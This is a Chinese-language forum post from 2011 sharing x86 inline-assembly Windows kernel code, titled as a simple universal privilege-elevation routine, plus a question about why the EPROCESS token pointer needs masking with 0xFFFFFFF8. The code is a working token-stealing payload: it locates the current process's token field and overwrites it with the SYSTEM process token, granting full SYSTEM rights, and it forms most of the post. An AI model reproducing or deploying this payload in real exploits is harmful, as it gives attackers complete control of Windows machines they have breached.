-
-
[讨论]放个简单通用提权代码,无版本限制,另请教个问题
-
发表于:
2011-4-22 16:44
4713
-
[讨论]放个简单通用提权代码,无版本限制,另请教个问题
_declspec(naked) void ElevatePrivilage()
{
_asm
{
nop
nop
nop
nop
int 3
pushfd
pushad
mov esi,PsGetCurrentProcess
call esi
mov ebx,eax //获得EPROCESS指针
push ebx
push eax
mov esi,PsReferencePrimaryToken
call esi
mov edx,eax //token指针
and edx,0xFFFFFFF8
//在EPROCESS结构体中搜索TOKEN指针,确定偏移
pop ebx
mov ecx,0
mov esi,ebx
_next:
mov eax,[esi+ecx]
and eax,0xFFFFFFF8
cmp eax,edx
jz _find
add ecx,4
jmp _next
_find:
push ebx
push ecx
mov eax,PsInitialSystemProcess
push [eax]
mov esi,PsReferencePrimaryToken
call esi
pop ecx
pop ebx
mov [ebx+ecx],eax
popad
popfd
retn 8
}
}
PsReferencePrimaryToken返回的Token,与EPROCESS->Token,两者并不完全相等,有几个字节的偏差,需要将两者& 0xfffffff8才能一致.
反汇编PsReferencePrimaryToken,看到它获取token指针值的时候,是做了and eax,hfffffff8处理的,处理后的值, dt _TOCKEN 是完整.
如果只用EPROCESS->Token的值,不做& 0xfffffff8处理,dt _TOCKEN就乱了.
暂时没弄明白为什么EPROCESS->Token存的指针与正确的值有0~7个字节的偏移
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课